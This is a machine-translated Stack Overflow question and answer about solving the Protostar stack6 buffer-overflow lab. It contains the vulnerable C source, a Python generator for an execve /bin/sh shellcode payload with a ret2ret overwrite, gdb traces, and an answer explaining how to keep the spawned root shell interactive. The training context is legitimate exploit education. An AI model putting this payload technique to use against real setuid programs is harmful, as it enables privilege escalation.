所以,我正在做来自开发练习的原星挑战,我完全被困住了。Protostar运行在虚拟机上,模拟i686处理器。
uname -a
Linux protostar 2.6.32-5-686 #1 SMP Mon Oct 3 04:15:24 UTC 2011 i686 GNU/Linux该挑战涉及注入格式错误的用户提供的输入,以允许根访问。可执行文件设置了setuid标志,并具有所有者根。我通过/tmp/mypipe中的命名管道提供输入
在gdb中我运行
set disassembly-flavor intel
run < /tmp/mypipe当我在RET指令的getpath()函数末尾设置断点并向前迈出一步时,一切都按预期工作。我的外壳代码被执行了。我证实,这些说明与来源的文档完全相同。(使用带有x/2i $eip的停止钩子并通过汇编程序进行单步执行)。所有的一切都能很好地工作,直到中断0x80 (syscall) (0xcd 0x80)为止。
有趣的是,gdb宣布:
执行新程序:/bin/破折号 程序接收信号SIGSEGV,分割故障。
从那以后什么都没用了。再次使用相同的输入运行它,只是分段错误。试图disassemble main产生No symbol "main" in current context.
一旦关闭GDB并重新启动,它就会产生与以前相同的行为。实际上,没有一个shell是可交互的。从命令行使用相同的有效负载只会产生一个分段错误。
我尝试过用msfvenom制作的许多有效载荷,都是针对x86 linux使用不同的编码器,禁止0x00、0x0a和0x0d。我试着将小的有效载荷放入缓冲区,然后将它们放在主堆栈帧中的返回地址之后,然后再放到后面。我试过的每一件事都给了我一个片段的错误。我搞不懂为什么这不管用。它是否与覆盖堆栈上的EBP,然后返回两次有关?但是LEAVE不会执行两次,只有RET。
,怎么回事?
这一挑战的准则是:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
}程序逻辑禁止跳入堆栈。所以很明显你必须跳转到别的地方。我的想法是跳到getpath()末尾的RET指令,基本上是从程序逻辑不检查的堆栈中弹出另一个地址到EIP中。
结果显示,从堆栈的顶部开始有80B,其中buf开始指向堆栈上返回指针的第一个字节。
生成格式错误的输入的代码如下所示。
# execenv 28B from http://shell-storm.org/shellcode/files/shellcode-811.php
buf = b""
buf += b"\x31\xc0\x50\x68\x2f\x2f\x73"
buf += b"\x68\x68\x2f\x62\x69\x6e\x89"
buf += b"\xe3\x89\xc1\x89\xc2\xb0\x0b"
buf += b"\xcd\x80\x31\xc0\x40\xcd\x80"
# start of buffer = 0xbffff64c
# EIP return on stack = 0xbffff69c
# difference = 80 B
padding = "A"*80
# use noop sled to avoid changing environment variables etc to mess with alignment
noop = (b"\x90")*0x40
# addr of ret command (getpath function)
eip = b"\x08\x04\x84\xf9"
eip = eip[::-1]
# shell code position
eip2 = b"\xbf\xff\xf6\xb0"
eip2 = eip2[::-1]
print (padding + eip + eip2 + noop + buf)注意:eip = eip[::-1]颠倒字节顺序,因为英特尔x86是小endian。
编辑:
这是机器的更详细的状态。
disassemble getpath
Dump of assembler code for function getpath:
0x08048484 <getpath+0>: push ebp
0x08048485 <getpath+1>: mov ebp,esp
0x08048487 <getpath+3>: sub esp,0x68
0x0804848a <getpath+6>: mov eax,0x80485d0
0x0804848f <getpath+11>: mov DWORD PTR [esp],eax
0x08048492 <getpath+14>: call 0x80483c0 <printf@plt>
0x08048497 <getpath+19>: mov eax,ds:0x8049720
0x0804849c <getpath+24>: mov DWORD PTR [esp],eax
0x0804849f <getpath+27>: call 0x80483b0 <fflush@plt>
0x080484a4 <getpath+32>: lea eax,[ebp-0x4c]
0x080484a7 <getpath+35>: mov DWORD PTR [esp],eax
0x080484aa <getpath+38>: call 0x8048380 <gets@plt>
0x080484af <getpath+43>: mov eax,DWORD PTR [ebp+0x4]
0x080484b2 <getpath+46>: mov DWORD PTR [ebp-0xc],eax
0x080484b5 <getpath+49>: mov eax,DWORD PTR [ebp-0xc]
0x080484b8 <getpath+52>: and eax,0xbf000000
0x080484bd <getpath+57>: cmp eax,0xbf000000
0x080484c2 <getpath+62>: jne 0x80484e4 <getpath+96>
0x080484c4 <getpath+64>: mov eax,0x80485e4
0x080484c9 <getpath+69>: mov edx,DWORD PTR [ebp-0xc]
0x080484cc <getpath+72>: mov DWORD PTR [esp+0x4],edx
0x080484d0 <getpath+76>: mov DWORD PTR [esp],eax
0x080484d3 <getpath+79>: call 0x80483c0 <printf@plt>
0x080484d8 <getpath+84>: mov DWORD PTR [esp],0x1
0x080484df <getpath+91>: call 0x80483a0 <_exit@plt>
0x080484e4 <getpath+96>: mov eax,0x80485f0
0x080484e9 <getpath+101>: lea edx,[ebp-0x4c]
0x080484ec <getpath+104>: mov DWORD PTR [esp+0x4],edx
0x080484f0 <getpath+108>: mov DWORD PTR [esp],eax
0x080484f3 <getpath+111>: call 0x80483c0 <printf@plt>
0x080484f8 <getpath+116>: leave
0x080484f9 <getpath+117>: ret
End of assembler dump.
(gdb) b *0x080484f9
Breakpoint 1 at 0x80484f9: file stack6/stack6.c, line 23.
(gdb) run < /tmp/mypipe
Starting program: /opt/protostar/bin/stack6 < /tmp/mypipe
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[... bunch of gibberish that can't be printed as text]
Breakpoint 1, 0x080484f9 in getpath () at stack6/stack6.c:23
23 stack6/stack6.c: No such file or directory.
in stack6/stack6.c
(gdb) x /32wx $esp
0xbffff69c: 0x080484f9 0xbffff6b0 0x90909090 0x90909090
0xbffff6ac: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6bc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6cc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6dc: 0x90909090 0x90909090 0x6850c031 0x68732f2f
0xbffff6ec: 0x69622f68 0x89e3896e 0xb0c289c1 0x3180cd0b
0xbffff6fc: 0x80cd40c0 0x00000000 0x00000000 0x00000001
0xbffff70c: 0x080483d0 0x00000000 0xb7ff6210 0xb7eadb9b如您所见,函数跳过bzzz +退出,因为返回地址通过了检查。下一个指令是ret,它返回到0x080484f9 ($esp的堆栈顶部)。那就是瑞特。
向前一步
(gdb) stepi
eip 0x80484f9 0x80484f9 <getpath+117>
esp 0xbffff6a0 0xbffff6a0
eax 0xbe 190
ebx 0xb7fd7ff4 -1208123404
0x80484f9 <getpath+117>: ret
0x80484fa <main>: push ebp
0xbffff6a0: 0xbffff6b0 0x90909090 0x90909090 0x90909090
0xbffff6b0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6c0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6d0: 0x90909090 0x90909090 0x90909090 0x90909090
Breakpoint 1, 0x080484f9 in getpath () at stack6/stack6.c:23
23 in stack6/stack6.c还有另一个
Cannot access memory at address 0x41414145我不知道那是关于什么的,也不知道为什么钩子没有开火,或者0x45是从哪里来的,但是
(gdb) i r
eax 0xbe 190
ecx 0x0 0
edx 0xb7fd9340 -1208118464
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff6a4 0xbffff6a4
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0xbffff6b0 0xbffff6b0
eflags 0x200296 [ PF AF SF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51如您所见,EIP指向圆头雪橇。
(gdb) x /60i $eip
0xbffff6b0: nop
0xbffff6b1: nop
0xbffff6b2: nop
[snip]
0xbffff6e2: nop
0xbffff6e3: nop
0xbffff6e4: xor eax,eax
0xbffff6e6: push eax
0xbffff6e7: push 0x68732f2f
0xbffff6ec: push 0x6e69622f
0xbffff6f1: mov ebx,esp
0xbffff6f3: mov ecx,eax
0xbffff6f5: mov edx,eax
0xbffff6f7: mov al,0xb从那里开始,它很好地执行到int 80,在其中,它是分段错误的。
(gdb) x /12i $eip
[skipping all the nops up to here]
0xbffff6e4: xor eax,eax
0xbffff6e6: push eax
0xbffff6e7: push 0x68732f2f
0xbffff6ec: push 0x6e69622f
0xbffff6f1: mov ebx,esp
0xbffff6f3: mov ecx,eax
0xbffff6f5: mov edx,eax
0xbffff6f7: mov al,0xb
0xbffff6f9: int 0x80
0xbffff6fb: xor eax,eax
0xbffff6fd: inc eax
0xbffff6fe: int 0x80(gdb)
eip 0xbffff6f9 0xbffff6f9
esp 0xbffff698 0xbffff698
eax 0xb 11
ebx 0xbffff698 -1073744232
0xbffff6f9: int 0x80
0xbffff6fb: xor eax,eax
0xbffff698: 0x6e69622f 0x68732f2f 0x00000000 0x90909090
0xbffff6a8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6b8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6c8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6f9 in ?? ()
(gdb)
Executing new program: /bin/dash
Program received signal SIGSEGV, Segmentation fault.
eip 0x805925e 0x805925e
esp 0xbffffcd0 0xbffffcd0
eax 0x3e9 1001
ebx 0xb7fd7ff4 -1208123404
0x805925e: mov ebx,DWORD PTR [esi]
0x8059260: test ebx,ebx
0xbffffcd0: 0x00000011 0x00000000 0x00000000 0xbffffd70
0xbffffce0: 0xbffffd28 0xbffffd34 0x00000000 0xb7fff8f8
0xbffffcf0: 0x00000000 0xb7ffc3e1 0xb7ffb8bc 0x08048bdd
0xbffffd00: 0x00000000 0xb7fe3494 0xbffffd44 0xb7fe3612
0x0805925e in ?? ()
(gdb) x /5i 0x805925e
0x805925e: mov ebx,DWORD PTR [esi]
0x8059260: test ebx,ebx
0x8059262: je 0x8059295
0x8059264: lea esi,[esi+eiz*1+0x0]
0x8059268: mov DWORD PTR [esp+0x4],0x3d
(gdb) i r
eax 0x3e9 1001
ecx 0xa 10
edx 0x805c340 134595392
ebx 0xb7fd7ff4 -1208123404
esp 0xbffffcd0 0xbffffcd0
ebp 0xbffffd98 0xbffffd98
esi 0x0 0
edi 0x0 0
eip 0x805925e 0x805925e
eflags 0x210282 [ SF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51编辑2:
我从一个文件而不是管道中运行这个漏洞。我得到了一个奇怪的结果。我还是不知道该怎么做。
(gdb) run < /tmp/exploit
Starting program: /opt/protostar/bin/stack6 < /tmp/exploit
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�AAAAAAAAAAAA���������������������������������������������������������������������1�Ph//shh/bin����°
1�@̀
Executing new program: /bin/dash
Program exited normally.
Error while running hook_stop:
The program has no registers now.发布于 2020-08-25 20:09:19
当管道或路由输入到程序,那么stdin基本上不再存在时,提供源是在它的输出结束或终止。所以你没有壳。
由于gdb加载的程序不再是stack6,而是/bin/sh,因此在具有这种行为的实例中,反汇编main不再工作。再次执行Run将执行/bin/sh。
当管道输入耗尽时,我不知道为什么程序分段出错。但是对于该文件,中断80没有分段故障,然后运行中断80,使用eax =1调用退出(Ebx),从而导致正常的终止。
要执行漏洞攻击,您需要不需要stdin输入的shell代码,例如metasploit反向tcp绑定shell,或者需要在执行漏洞攻击后提供连续的输入。例如:
(cat /tmp/exploit; cat) | ./stack6它首先将漏洞输入到程序中,然后要求用户在stdin (cat)上输入更多的信息,然后将其输送到程序中。
https://stackoverflow.com/questions/63580576
复制相似问题